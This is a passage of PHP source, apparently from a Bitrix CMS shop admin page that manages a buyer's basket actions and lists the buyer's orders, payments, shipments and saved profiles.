			$arViews["LID"] = $LID;
		}
	}
	else
	{
		$dbViewsList = CSaleViewedProduct::GetList(
					array(),
					array("FUSER_ID" => $arFuserItems["ID"], "PRODUCT_ID" => $PRODUCT_ID),
					false,
					false
		);
		$arViews = $dbViewsList->Fetch();
	}

	if (strlen($viewedError) <= 0)
	{
		$arFields = array("PROPS" => array());

		$arParentSku = CCatalogSku::GetProductInfo($PRODUCT_ID);
		if ($arParentSku && count($arParentSku) > 0)
		{
			$arPropsSku = array();

			$dbProduct = CIBlockElement::GetList(array(), array("ID" => $PRODUCT_ID), false, false, array('IBLOCK_ID'));
			$arProduct = $dbProduct->Fetch();

			$dbOfferProperties = CIBlock::GetProperties($arProduct["IBLOCK_ID"], array(), array("!XML_ID" => "CML2_LINK"));
			while($arOfferProperties = $dbOfferProperties->Fetch())
				$arPropsSku[] = $arOfferProperties["CODE"];

			$arFields["PROPS"] = CIBlockPriceTools::GetOfferProperties(
							$PRODUCT_ID,
							$arParentSku["IBLOCK_ID"],
							$arPropsSku
						);
		}

		$arFields["USER_ID"] = $ID;
		$arFields["PRODUCT_ID"] = $PRODUCT_ID;
		$arFields["PRICE"] = $arViews["PRICE"];
		$arFields["CURRENCY"] = $arViews["CURRENCY"];
		$arFields["QUANTITY"] = 1;
		$arFields["LID"] = $arViews["LID"];
		$arFields["DETAIL_PAGE_URL"] = $arViews["DETAIL_PAGE_URL"];
		$arFields["NAME"] = $arViews["NAME"];
		$arFields["CAN_BUY"] = "Y";
		$arFields["TYPE"] = $arViews["TYPE"];

		$arFields["MODULE"] = $arViews["MODULE"];
		if ($arViews["MODULE"] == "catalog")
		{
			$arFields["CALLBACK_FUNC"] = "CatalogBasketCallback";
			$arFields["ORDER_CALLBACK_FUNC"] = "CatalogBasketOrderCallback";
			$arFields["CANCEL_CALLBACK_FUNC"] = "CatalogBasketCancelCallback";
			$arFields["PAY_CALLBACK_FUNC"] = "CatalogPayOrderCallback";
			$arFields["PRODUCT_PROVIDER_CLASS"] = "CCatalogProductProvider";
		}

		if(strlen($arProduct["IBLOCK_EXTERNAL_ID"]) > 0)
		{
			$arFields["CATALOG_XML_ID"] = $arProduct["IBLOCK_EXTERNAL_ID"];
			$arFields["PROPS"][] = Array(
					"NAME" => "Catalog XML_ID",
					"CODE" => "CATALOG.XML_ID",
					"VALUE" => $arProduct["IBLOCK_EXTERNAL_ID"],
				);
		}
		if(intVal($arProduct["XML_ID"]) > 0)
		{
			$arFields["PRODUCT_XML_ID"] = $arProduct["XML_ID"];
			$arFields["PROPS"][] = Array(
					"NAME" => "Product XML_ID",
					"CODE" => "PRODUCT.XML_ID",
					"VALUE" => $arProduct["XML_ID"],
				);
		}

		$arFuserItems = CSaleUser::GetList(array("USER_ID" => $ID));
		if (count($arFuserItems) > 0)
			$arFields["FUSER_ID"] = $arFuserItems["ID"];

		if (!CSaleBasket::Add($arFields))
		{
			$viewedError = GetMessage('BUYER_VIEWED_ADD_ERROR');
			$viewedMessage = "";
		}
		else
			$viewedMessage = GetMessage('BUYER_VIEWED_MESS_BASKET');
	}
}

//basket
if (isset($_REQUEST['apply']) && isset($_REQUEST['action']) && $saleModulePermissions >= "W" && check_bitrix_sessid())
{
	$arID = array();
	$arFields = array();

	if($arFuserItems = CSaleUser::GetList(array("USER_ID" => $ID)))
	{
		$arFields["FUSER_ID"] = $arFuserItems["ID"];

		if (!isset($_REQUEST["action_target"]) || $_REQUEST["action_target"] != "selected")
		{
			if(isset($_REQUEST['PRODUCT_ID']) && count($_REQUEST['PRODUCT_ID']) > 0)
			{
				if(!is_array($_REQUEST['PRODUCT_ID']))
					$arID = array($_REQUEST['PRODUCT_ID']);
				else
					$arID = $_REQUEST['PRODUCT_ID'];
			}

			//delete default ID
			foreach($arID as $lid => $arProduct)
			{
				foreach ($arProduct as $key => $val)
				{
					if (!in_array($val, $_POST["ID"]))
						unset($arID[$lid][$key]);
				}
			}
		}
		else
		{
			$arBasketActionFilter = array("FUSER_ID" => $arFields["FUSER_ID"], "ORDER_ID" => "NULL", "CAN_BUY" => "Y");
			if (strlen($filter_basket_lid)>0)
				$arBasketActionFilter["LID"] = trim($filter_basket_lid);

			$dbBasketEl = \Bitrix\Sale\Internals\BasketTable::getList(array(
				                                                            'filter' => $arBasketActionFilter,
				                                                            'select' => array('ID', 'PRODUCT_ID', 'LID')
			                                                            ));
			while($arBasketEl = $dbBasketEl->Fetch())
				$arID[$arBasketEl["LID"]][] = $arBasketEl["PRODUCT_ID"];
		}

		$LID = "";
		foreach($arID as $key => $val)
		{
			if ($LID == "")
				$LID = $key;

			if ($LID != $key)
			{
				if (isset($_REQUEST['basket_apply']))
					$basketError = GetMessage('BUYER_VIEWED_BASKET_ERROR_TO_ORDER');

				break;
			}
		}

		if ($basketError == '' && $basketError == '')
		{
			switch ($_REQUEST['action'])
			{
				case "order_basket":
					if (count($arID[$LID]) > 0)
					{
						$urlProduct = "";
						$arIDProd = array();
						foreach ($arID[$LID] as $PRODUCT_ID)
						{
							$arIDProd[] = $PRODUCT_ID;
						}

						$dbBasketEl = \Bitrix\Sale\Internals\BasketTable::getList(array(
							                                                          'filter' => array(
								                                                          "LID" => $LID,
								                                                          "FUSER_ID" => $arFields["FUSER_ID"],
								                                                          "PRODUCT_ID" => $arIDProd,
								                                                          "ORDER_ID" => "NULL"
							                                                          ),
							                                                          'select' => array('CAN_BUY', "SUBSCRIBE", "DELAY", "PRODUCT_ID", "QUANTITY")
						                                                          ));
						while($arBasketEl = $dbBasketEl->fetch())
						{
							$urlProduct .= "&product[".$arBasketEl["PRODUCT_ID"]."]=".$arBasketEl["QUANTITY"];
							if ($arBasketEl["CAN_BUY"] != "Y" || $arBasketEl["DELAY"] == "Y" || $arBasketEl["SUBSCRIBE"] == "Y")
							{
								$basketError = GetMessage('BUYER_BASKET_ORDER_ERROR');
								break;
							}
						}

						if (strlen($basketError) <= 0)
						{
							echo "<script language=\"JavaScript\">";
							echo "window.parent.location.href = '/bitrix/admin/sale_order_create.php?USER_ID=".CUtil::JSEscape($ID)."&lang=".LANG."&SITE_ID=".CUtil::JSEscape($LID).CUtil::JSEscape($urlProduct)."';";
							echo "</script>";
							exit;
						}
					}
					else
					{
						if(isset($_REQUEST['basket_apply']) && isset($_REQUEST['BASKET_ID']))
							$basketError = GetMessage('BUYER_BASKET_MESS_NULL');
					}
					break;
				case "delay_y":
				case "delay_n":
					$arFields["DELAY"] = (($_REQUEST['action']=="delay_y") ? "Y" : "N");

					if (is_array($arID[$LID]))
					{
						foreach ($arID[$LID] as $PRODUCT_ID)
						{
							$dbBasketEl = \Bitrix\Sale\Internals\BasketTable::getList(array(
								                                                          'filter' => array(
									                                                          "LID" => $LID,
									                                                          "FUSER_ID" => $arFields["FUSER_ID"],
									                                                          "PRODUCT_ID" => $PRODUCT_ID,
									                                                          "ORDER_ID" => "NULL"
								                                                          ),
								                                                          'select' => array('ID')
							                                                          ));
							$arBasketEl = $dbBasketEl->fetch();

							if (!CSaleBasket::Update($arBasketEl["ID"], $arFields))
								$basketError = GetMessage('BUYER_BASKET_ADD_ERROR');

						}//end foreach
					}
					break;

				case "delete_basket":
					if (is_array($arID[$LID]))
					{
						foreach ($arID[$LID] as $PRODUCT_ID)
						{
							$dbBasketEl = \Bitrix\Sale\Internals\BasketTable::getList(array(
								                                                          'filter' => array(
									                                                          "LID" => $LID,
									                                                          "FUSER_ID" => $arFields["FUSER_ID"],
									                                                          "PRODUCT_ID" => $PRODUCT_ID,
									                                                          "ORDER_ID" => "NULL"
								                                                          ),
								                                                          'select' => array('ID')
							                                                          ));
							$arBasketEl = $dbBasketEl->fetch();

							CSaleBasket::Delete($arBasketEl["ID"]);
						}
					}
					break;
			}
		}
	}
}

$pageTitle = "";
if(!empty($arUser))
	$pageTitle = " \"(".htmlspecialcharsBack($u_LOGIN).") ".htmlspecialcharsBack($userFIO)."\"";
$APPLICATION->SetTitle(GetMessage("BUYER_TITLE").$pageTitle);

if(!empty($arUser))
{

	$orderStatusNames = \Bitrix\Sale\OrderStatus::getAllStatusesNames(LANGUAGE_ID);

	//MAIN INFORMATION
	$sTableID_tab1 = "tbl_sale_buyers_profile_tab1";
	$oSort_tab1 = new CAdminSorting($sTableID_tab1);
	$lAdmin_tab1 = new CAdminList($sTableID_tab1, $oSort_tab1);

	$arFilter = array("USER_ID" => $ID);

	$dbOrderList = CSaleOrder::GetList(
		array('DATE_INSERT' => 'DESC'),
		$arFilter,
		false,
		array("nTopCount" => 10),
		array('ID', 'DATE_INSERT', 'PAYED', 'DATE_PAYED', 'CANCELED', 'DATE_CANCELED', 'PRICE', 'CURRENCY', "STATUS_ID", "DATE_STATUS", "LID")
	);

	$dbOrderList = new CAdminResult($dbOrderList, $sTableID_tab1);
	$dbOrderList->NavStart();
	$lAdmin_tab1->NavText($dbOrderList->GetNavPrint(GetMessage('BUYER_ORDER_LIST')));

	$mainOrderHeader = array(
		array("id"=>"ID", "content"=>ID, "sort"=>"", "default"=>true),
		array("id"=>"STATUS_ID","content"=>GetMessage("BUYER_LAST_H_STATUS"), "sort"=>"", "default"=>true),
		array("id"=>"PAYED", "content"=>GetMessage("BUYER_LAST_H_PAYED"), "sort"=>"", "default"=>true),
		array("id"=>"CANCELED", "content"=>GetMessage("BUYER_LAST_H_CANCEL"), "sort"=>"", "default"=>true),
		array("id"=>"PRODUCT", "content"=>GetMessage("BUYER_LAST_H_PRODUCT"), "sort"=>"", "default"=>true),
		array("id"=>"PRICE", "content"=>GetMessage("BUYER_LAST_H_PRICE"), "sort"=>"", "default"=>true),
		array("id"=>"DATE_INSERT", "content"=>GetMessage("BUYER_LAST_H_DATE"), "sort"=>"", "default"=>true),
	);
	if (count($arSites) > 1)
		$mainOrderHeader[] = array("id"=>"LID", "content"=>GetMessage("BUYER_BH_LID"), "sort"=>"LID", "default"=>true);

	$lAdmin_tab1->AddHeaders($mainOrderHeader);

	while ($arOrderMain = $dbOrderList->Fetch())
	{
		$row =& $lAdmin_tab1->AddRow($arOrderMain["ID"], $arOrderMain, '', '');
		$orderLink = "<a href=\"sale_order_view.php?ID=".$arOrderMain["ID"]."&lang=".LANG."\">".$arOrderMain["ID"]."</a>";
		$row->AddField("ID", $orderLink);

		$basketCount = 0;
		$dbBasketCount = \Bitrix\Sale\Internals\BasketTable::getList(array(
			                                                          'filter' => array(
				                                                          "ORDER_ID" => $arOrderMain["ID"]
			                                                          ),
		                                                          ));
		while ($arBasket = $dbBasketCount->fetch())
		{
			if (!CSaleBasketHelper::isSetItem($arBasket))
				$basketCount++;
		}

		$status = "[".$arOrderMain["STATUS_ID"]."] ".htmlspecialcharsbx($orderStatusNames[$arOrderMain["STATUS_ID"]])."<br />".$arOrderMain["DATE_STATUS"];
		$row->AddField("STATUS_ID", $status);

		$payed = (($arOrderMain["PAYED"] == "Y") ? GetMessage("BUYERS_PAY_YES") : GetMessage("BUYERS_PAY_NO"));
		if (strlen($arOrderMain["DATE_PAYED"]) > 0)
			$payed .= "<br>".$arOrderMain["DATE_PAYED"];
		$row->AddField("PAYED", $payed);

		$cancel = (($arOrderMain["CANCELED"] == "Y") ? GetMessage("BUYER_LAST_YES") : GetMessage("BUYER_LAST_NO"));
		if (strlen($arOrderMain["DATE_CANCELED"]) > 0)
			$cancel .= "<br>".$arOrderMain["DATE_CANCELED"];
		$row->AddField("CANCELED", $cancel);
		$row->AddField("PRODUCT", $basketCount);
		$row->AddField("PRICE", SaleFormatCurrency($arOrderMain["PRICE"], $arOrderMain["CURRENCY"]));

		if (count($arSites) > 1)
			$row->AddField("LID", "[".$arOrderMain["LID"]."] ".htmlspecialcharsbx($arSites[$arOrderMain["LID"]]["NAME"])."");
	}

	if($_REQUEST["table_id"]==$sTableID_tab1)
		$lAdmin_tab1->CheckListMode();
	//END MAIN INFO


	//BUYERS PROFILE
	$sTableID_tab2 = "tbl_sale_buyers_profile_tab2";
	$oSort_tab2 = new CAdminSorting($sTableID_tab2);
	$lAdmin_tab2 = new CAdminList($sTableID_tab2, $oSort_tab2);

	$arPErsonTypes = array();
	$db_ptype = CSalePersonType::GetList(($by1="SORT"), ($order1="ASC"));
	while ($ptype = $db_ptype->Fetch())
		$arPErsonTypes[$ptype["ID"]] = $ptype;

	if (!isset($_REQUEST["by"]))
		$arProfSort = array("PERSON_TYPE_ID" => "ASC", "DATE_UPDATE" => "DESC");
	else
		$arProfSort[$by] = $order;

	$dbProfileList = CSaleOrderUserProps::GetList(
				$arProfSort,
				array("USER_ID" => $ID),
				false,
				false,
				array("ID", "NAME", "PERSON_TYPE_ID", "DATE_UPDATE")
	);

	$dbProfileList = new CAdminResult($dbProfileList, $sTableID_tab2);
	$dbProfileList->NavStart();
	$lAdmin_tab2->NavText($dbProfileList->GetNavPrint(GetMessage('BUYER_PERSON_LIST')));

	$personHeader = array(
		array("id"=>"NAME", "content"=>GetMessage("BUYER_P_NAME"), "sort"=>"NAME", "default"=>true),
		array("id"=>"PERSON_TYPE_ID","content"=>GetMessage("BUYER_P_PERSONTYPE"), "sort"=>"PERSON_TYPE_ID", "default"=>true),
		array("id"=>"DATE_UPDATE", "content"=>GetMessage("BUYER_P_DATE_UPDATE"), "sort"=>"DATE_UPDATE", "default"=>true),
	);

	$lAdmin_tab2->AddHeaders($personHeader);

	while ($arProfList = $dbProfileList->GetNext())
	{
		$row =& $lAdmin_tab2->AddRow($arProfList["ID"], $arProfList, "sale_buyers_profile_edit.php?id=".$arProfList["ID"]."&lang=".LANG, GetMessage("BUYER_P_PROFILE_EDIT"));
		$row->AddField("NAME", "[".$arProfList["ID"]."] <a href=\"/bitrix/admin/sale_buyers_profile_edit.php?id=".$arProfList["ID"]."&lang=".LANG."\">".$arProfList["NAME"]."</a>");
		$row->AddField("PERSON_TYPE_ID", htmlspecialcharsbx($arPErsonTypes[$arProfList["PERSON_TYPE_ID"]]["NAME"]));

		if (count($arSites) > 1)
			$row->AddField("LID", "[".$arProfList["LID"]."] ".htmlspecialcharsbx($arSites[$arProfList["LID"]]["NAME"])."");
	}

	if($_REQUEST["table_id"]==$sTableID_tab2)
		$lAdmin_tab2->CheckListMode();
	//END BUYERS PROFILE


	//BUYERS ORDERS
	$sTableID_tab3 = "tbl_sale_buyers_profile_tab3";
	$oSort_tab3 = new CAdminSorting($sTableID_tab3);
	$lAdmin_tab3 = new CAdminList($sTableID_tab3, $oSort_tab3);

	//FILTER ORDER
	$arFilterFields = array(
		"filter_order_lid",
		"filter_order_status",
		"filter_order_payed",
		"filter_order_price",
		"filter_date_order_from",
		"filter_date_order_to",
		"filter_summa_to",
		"filter_summa_from",
		"filter_order_prod_name",
	);
	$lAdmin_tab3->InitFilter($arFilterFields);

	if (!isset($_REQUEST["by"]))
		$arOrderSort = array("DATE_INSERT" => "DESC");
	else
		$arOrderSort[$by] = $order;

	if ($by == "PAYED")
		$arOrderSort["DATE_PAYED"] = $order;

	$arOrderFilter = array("USER_ID" => $ID);

	if (strlen($filter_order_lid)>0)
		$arOrderFilter["LID"] = trim($filter_order_lid);
	if (isset($filter_order_status) && !is_array($filter_order_status) && strlen($filter_order_status) > 0)
		$filter_order_status = array($filter_order_status);
	if (isset($filter_order_status) && is_array($filter_order_status) && count($filter_order_status) > 0)
	{
		$filterOrderCount = count($filter_order_status);
		for ($i = 0; $i < $filterOrderCount; $i++)
		{
			$filter_order_status[$i] = Trim($filter_order_status[$i]);
			if (strlen($filter_order_status[$i]) > 0)
				$arOrderFilter["STATUS_ID"][] = $filter_order_status[$i];
		}
	}
	if (strlen($filter_order_payed)>0)
		$arOrderFilter["PAYED"] = Trim($filter_order_payed);

	if (strlen($filter_order_delivery)>0)
		$arOrderFilter["ALLOW_DELIVERY"] = Trim($filter_order_delivery);

	if (strlen($filter_date_order_from)>0)
	{
		$dateFrom = MkDateTime(FmtDate($filter_date_order_from,"D.M.Y"),"d.m.Y");

		if ($dateFrom)
			$arOrderFilter[">=DATE_INSERT"] = Trim($filter_date_order_from);
	}

	if (strlen($filter_date_order_to) > 0)
	{
		if ($arDate = ParseDateTime($filter_date_order_to, CSite::GetDateFormat("FULL", SITE_ID)))
		{
			if (StrLen($filter_date_order_to) < 11)
			{
				$arDate["HH"] = 23;
				$arDate["MI"] = 59;
				$arDate["SS"] = 59;
			}

			$filter_date_order_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
			$arOrderFilter["<=DATE_INSERT"] = $filter_date_order_to;
		}
		else
			$filter_date_order_to = "";
	}

	if(strlen(trim($filter_date_order_from_DAYS_TO_BACK))>0)
	{
		$dateBack = IntVal($filter_date_order_from_DAYS_TO_BACK);
		$arOrderFilter["DATE_FROM"] = ConvertTimeStamp(AddToTimeStamp(array("DD" => "-".$dateBack), mktime(0, 0, 0, date("n"), date("j"), date("Y"))), "SHORT");
	}

	if (strlen($filter_order_date_up_from)>0)
	{
		$dateFrom = MkDateTime(FmtDate($filter_order_date_up_from,"D.M.Y"),"d.m.Y");

		if ($dateFrom)
			$arOrderFilter[">=DATE_UPDATE"] = trim($filter_order_date_up_from);
	}
	if (strlen($filter_order_date_up_to) > 0)
	{
		if ($arDate = ParseDateTime($filter_order_date_up_to, CSite::GetDateFormat("FULL", SITE_ID)))
		{
			if (StrLen($filter_order_date_up_to) < 11)
			{
				$arDate["HH"] = 23;
				$arDate["MI"] = 59;
				$arDate["SS"] = 59;
			}

			$filter_order_date_up_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
			$arOrderFilter["<=DATE_UPDATE"] = $filter_order_date_up_to;
		}
		else
			$filter_order_date_up_to = "";
	}

	if (strlen($filter_summa_from) > 0)
	{
		$arOrderFilter[">=PRICE"] = FloatVal($filter_summa_from);
	}
	if (strlen($filter_summa_to) > 0)
	{
		$arOrderFilter["<=PRICE"] = FloatVal($filter_summa_to);
	}
	if (strlen($filter_order_prod_name) > 0)
	{
		$arOrderFilter["%BASKET.NAME"] = $filter_order_prod_name;
	}

	$getListParams = array(
		'filter' => $arOrderFilter,
		'order' => $arOrderSort,
		'select' => array(
			"ID",
			"LID",
			"STATUS_ID",
			"DATE_STATUS",
			"PAYED",
			"DATE_PAYED",
			"PRICE",
			"DATE_UPDATE",
			"DATE_INSERT",
			"CURRENCY",
//			                                           "ALLOW_DELIVERY",
//			                                           "DATE_ALLOW_DELIVERY"
		)
	);

	$usePageNavigation = true;

	$navyParams = CDBResult::GetNavParams(CAdminResult::GetNavSize($sTableID));
	if ($navyParams['SHOW_ALL'])
	{
		$usePageNavigation = false;
	}
	else
	{
		$navyParams['PAGEN'] = (int)$navyParams['PAGEN'];
		$navyParams['SIZEN'] = (int)$navyParams['SIZEN'];
	}


	if ($usePageNavigation)
	{
		$getListParams['limit'] = $navyParams['SIZEN'];
		$getListParams['offset'] = $navyParams['SIZEN']*($navyParams['PAGEN']-1);
	}

	$totalPages = 0;

	if ($usePageNavigation)
	{
		$countQuery = new \Bitrix\Main\Entity\Query(\Bitrix\Sale\Internals\OrderTable::getEntity());
		$countQuery->addSelect(new \Bitrix\Main\Entity\ExpressionField('CNT', 'COUNT(1)'));
		$countQuery->setFilter($getListParams['filter']);
		$totalCount = $countQuery->setLimit(null)->setOffset(null)->exec()->fetch();
		unset($countQuery);
		$totalCount = (int)$totalCount['CNT'];

		if ($totalCount > 0)
		{
			$totalPages = ceil($totalCount/$navyParams['SIZEN']);

			if ($navyParams['PAGEN'] > $totalPages)
				$navyParams['PAGEN'] = $totalPages;

			$getListParams['limit'] = $navyParams['SIZEN'];
			$getListParams['offset'] = $navyParams['SIZEN']*($navyParams['PAGEN']-1);
		}
		else
		{
			$navyParams['PAGEN'] = 1;
			$getListParams['limit'] = $navyParams['SIZEN'];
			$getListParams['offset'] = 0;
		}
	}


	$dbOrderList = new CAdminResult(\Bitrix\Sale\Internals\OrderTable::getList($getListParams), $sTableID_tab3);

	if ($usePageNavigation)
	{
		$dbOrderList->NavStart($getListParams['limit'], $navyParams['SHOW_ALL'], $navyParams['PAGEN']);
		$dbOrderList->NavRecordCount = $totalCount;
		$dbOrderList->NavPageCount = $totalPages;
		$dbOrderList->NavPageNomer = $navyParams['PAGEN'];
	}
	else
	{
		$dbOrderList->NavStart();
	}


//	$dbOrderList->NavStart();
	$lAdmin_tab3->NavText($dbOrderList->GetNavPrint(GetMessage('BUYER_ORDER_LIST')));

	$orderHeader = array(
		array("id"=>"ID", "content"=>"ID", "sort"=>"ID", "default"=>true),
		array("id"=>"PAYED", "content"=>GetMessage("BUYERS_H_PAID"), "sort"=>"PAYED", "default"=>true),
		array("id"=>"ALLOW_DELIVERY", "content"=>GetMessage("BUYER_LAST_H_ALLOW_DELIVERY"), "sort"=>"", "default"=>true),
		array("id"=>"PRODUCT", "content"=>GetMessage("BUYERS_H_ALL_PRODUCT"), "sort"=>"", "default"=>true),
		array("id"=>"PRICE", "content"=>GetMessage("BUYERS_H_SUM"), "sort"=>"PRICE", "default"=>true),
		array("id"=>"DATE_INSERT", "content"=>GetMessage("BUYERS_H_DATE_INSERT"), "sort"=>"DATE_INSERT", "default"=>true),
	);

	if (count($arSites) > 1)
		$orderHeader[] = array("id"=>"LID", "content"=>GetMessage("BUYERS_H_SITE"), "sort"=>"LID", "default"=>true);

	$lAdmin_tab3->AddHeaders($orderHeader);

	while ($arOrder = $dbOrderList->Fetch())
	{
		$row =& $lAdmin_tab3->AddRow($arOrder["ID"], $arOrder, "sale_order_view.php?ID=".$arOrder["ID"]."&lang=".LANG, GetMessage("BUYERS_ORDER_EDIT"));

		$orderLink = "<a href=\"sale_order_view.php?ID=".$arOrder["ID"]."&lang=".LANG."\">".$arOrder["ID"]."</a>";
		$row->AddField("ID", $orderLink);

		$status_id = "<a title=\"".GetMessage('BUYERS_ORDER_DETAIL_PAGE')."\" href=\"/bitrix/admin/sale_order_view.php?ID=".$arOrder["ID"]."&lang=".LANG."\">".GetMessage('BUYERS_PREF').$arOrder["ID"]."</a>";
		$status_id .= "<input type=\"hidden\" name=\"table_id\" value=\"".$sTableID_tab3."\">";
		$row->AddField("STATUS_ID", $status_id);

		$payed = "";
		$res = \Bitrix\Sale\Internals\PaymentTable::getList(array(
			                                                    'order' => array('ID' => 'ASC'),
			                                                    'filter' => array(
				                                                    'ORDER_ID' => $arOrder['ID']
			                                                    )
		                                                    ));
		while($payment = $res->fetch())
		{
			if (strval($payed) != "")
				$payed .= "<hr>";

			$payed .= "[<a href='/bitrix/admin/sale_order_payment_edit.php?order_id=".$arOrder['ID']."&payment_id=".$payment["ID"]."&lang=".LANGUAGE_ID."'>".$payment["ID"]."</a>], ".
				htmlspecialcharsbx($payment["PAY_SYSTEM_NAME"]).", ".
				($payment["PAID"] == "Y" ? \Bitrix\Main\Localization\Loc::getMessage("SOB_PAYMENTS_PAID") :  \Bitrix\Main\Localization\Loc::getMessage("SOB_PAYMENTS_UNPAID")).", ".
				(strlen($payment["PS_STATUS"]) > 0 ? \Bitrix\Main\Localization\Loc::getMessage("SOB_PAYMENTS_STATUS").": ".htmlspecialcharsbx($payment["PS_STATUS"]).", " : "").
				'<span style="white-space:nowrap;">'.htmlspecialcharsex(SaleFormatCurrency($payment["SUM"], $payment["CURRENCY"])).'<span>';

		}

		$row->AddField("PAYED", $payed);



		$shipmentStatuses = array();

		$dbRes = \Bitrix\Sale\Internals\StatusTable::getList(array(
			                              'select' => array('ID', 'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME'),
			                              'filter' => array(
				                              '=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => LANGUAGE_ID,
				                              '=TYPE' => 'D'
			                              ),
		                              ));

		while ($shipmentStatus = $dbRes->fetch())
			$shipmentStatuses[$shipmentStatus["ID"]] = $shipmentStatus["NAME"] . " [" . $shipmentStatus["ID"] . "]";


		$allowDelivery = "";
		$res = \Bitrix\Sale\Internals\ShipmentTable::getList(array(
			                                                     'order' => array('ID' => 'ASC'),
			                                                     'filter' => array('ORDER_ID' => $arOrder['ID'], '!=SYSTEM' => 'Y')
		                                                     ));

		while($shipment = $res->fetch())
		{
			$shipment["ID_LINKED"] = '[<a href="/bitrix/admin/sale_order_shipment_edit.php?order_id='.$arOrder['ID'].'&shipment_id='.$shipment["ID"].'&lang='.LANGUAGE_ID.'">'.$shipment["ID"].'</a>]';


			if (strval($allowDelivery) != "")
				$allowDelivery .= "<hr>";

			$allowDelivery .= "[<a href='/bitrix/admin/sale_order_shipment_edit.php?order_id=".$arOrder['ID']."&shipment_id=".$shipment["ID"]."&lang=".LANGUAGE_ID."'>".$shipment["ID"]."</a>], ".
				htmlspecialcharsbx($shipment["DELIVERY_NAME"]).", ".
				'<span>'.htmlspecialcharsEx(SaleFormatCurrency($shipment["PRICE_DELIVERY"], $shipment["CURRENCY"]))."</span>, ".
				($shipment["ALLOW_DELIVERY"] == "Y" ? \Bitrix\Main\Localization\Loc::getMessage("SOB_SHIPMENTS_ALLOW_DELIVERY") : \Bitrix\Main\Localization\Loc::getMessage("SOB_SHIPMENTS_NOT_ALLOW_DELIVERY")).", ".
				($shipment["CANCELED"] == "Y" ? \Bitrix\Main\Localization\Loc::getMessage("SOB_SHIPMENTS_CANCELED").", " : "").
				($shipment["DEDUCTED"] == "Y" ? \Bitrix\Main\Localization\Loc::getMessage("SOB_SHIPMENTS_DEDUCTED").", " : "").
				($shipment["MARKED"] == "Y" ? \Bitrix\Main\Localization\Loc::getMessage("SOB_SHIPMENTS_MARKED").", " : "").
				(strlen($shipment["TRACKING_NUMBER"]) > 0 ? htmlspecialcharsbx($shipment["TRACKING_NUMBER"]).", " : "");

			if(strlen($shipment["STATUS_ID"]) > 0)
				$allowDelivery .= $shipmentStatuses[$shipment["STATUS_ID"]] ? htmlspecialcharsbx($shipmentStatuses[$shipment["STATUS_ID"]]) : \Bitrix\Main\Localization\Loc::getMessage("SOB_SHIPMENTS_STATUS").": ".$shipment["STATUS_ID"];

		}

		$row->AddField("ALLOW_DELIVERY", $allowDelivery);

		$status = "[".$arOrder["STATUS_ID"]."] ".htmlspecialcharsbx($orderStatusNames[$arOrder["STATUS_ID"]])."<br />".$arOrder["DATE_STATUS"];
		$row->AddField("STATUS_ID", $status);

		$orderProduct = "";
		$arBasketItems = array();
		$dbItemsList = \Bitrix\Sale\Internals\BasketTable::getList(array(
			                                                           'order' => array("ID" => "ASC", "SET_PARENT_ID" => "DESC", "TYPE" => "DESC"),
			                                                           'filter' => array("ORDER_ID" => $arOrder["ID"])
		                                                           ));

		while ($arItem = $dbItemsList->fetch())
			$arBasketItems[] = $arItem;

		$arBasketItems = getMeasures($arBasketItems);

		foreach ($arBasketItems as $arBasketOrder)
		{
			$measure = isset($arBasketOrder["MEASURE_TEXT"]) ? htmlspecialcharsEx($arBasketOrder["MEASURE_TEXT"]) : GetMessage("BUYERS_UNIT");

			$class = "";
			$hidden = "";
			if (CSaleBasketHelper::isSetItem($arBasketOrder))
			{
				$class = "class=\"set_item_".$arBasketOrder["SET_PARENT_ID"]."\"";
				$hidden = "style=\"display:none\"";
			}

			$orderProduct .= "<div ".$class." ".$hidden."><a href=\"".htmlspecialcharsbx($arBasketOrder["DETAIL_PAGE_URL"])."\">".htmlspecialcharsbx($arBasketOrder["NAME"])."</a> - ".$arBasketOrder["QUANTITY"]." ".$measure."<br />";

			$dbProp = CSaleBasket::GetPropsList(Array("SORT" => "ASC", "ID" => "ASC"), Array("BASKET_ID" => $arBasketOrder["ID"], "!CODE" => array("CATALOG.XML_ID", "PRODUCT.XML_ID")));
			while($arProp = $dbProp -> GetNext())
			{
				$orderProduct .= "<div><small>".$arProp["NAME"].": ".$arProp["VALUE"]."</small></div>";
			}

			if (CSaleBasketHelper::isSetParent($arBasketOrder))
			{
				$orderProduct .= "<a href=\"javascript:void(0);\" class=\"dashed-link show-set-link\" id=\"set_toggle_link_".$arBasketOrder["ID"]."\" onclick=\"fToggleSetItems(".$arBasketOrder["ID"].", 'set_toggle_link_');\">".GetMessage("BUYER_F_SHOW_SET")."</a>";
			}

			$orderProduct .= "</div>";
		}

		$row->AddField("PRODUCT", $orderProduct);
		$row->AddField("PRICE", SaleFormatCurrency($arOrder["PRICE"], $arOrder["CURRENCY"]));

		if (count($arSites) > 1)
			$row->AddField("LID", "[".$arOrder["LID"]."] ".htmlspecialcharsbx($arSites[$arOrder["LID"]]["NAME"])."");

		$arActions = array();
		$arActions[] = array("ICON"=>"view", "TEXT"=>GetMessage("BUYERS_ORDER_EDIT"),"ACTION"=>$lAdmin_tab3->ActionRedirect("sale_order_view.php?ID=".$arOrder["ID"]."&lang=".LANG), "DEFAULT"=>true);
		$arActions[] = array("ICON"=>"edit", "TEXT"=>GetMessage("BUYER_PD_REORDER"),"ACTION"=>$lAdmin_tab3->ActionRedirect("/bitrix/admin/sale_buyers_profile.php?USER_ID=".$ID."&lang=".LANG."&reorder=".$arOrder["ID"]."&lid=".$arOrder["LID"]));

		$row->AddActions($arActions);
	}

	if($_REQUEST["table_id"]==$sTableID_tab3)
		$lAdmin_tab3->CheckListMode();
	//END BUYERS ORDER


	//BUYERS BASKET
	$sTableID_tab4 = "t_stat_list_tab4";
	$oSort_tab4 = new CAdminSorting($sTableID_tab4, false, false, "basket_by", "basket_sort");
	$lAdmin_tab4 = new CAdminList($sTableID_tab4, $oSort_tab4);

	//FILTER BASKET
	$arFilterFields = array(
		"filter_basket_lid",
		"basket_name_product",
	);
	$lAdmin_tab4->InitFilter($arFilterFields);


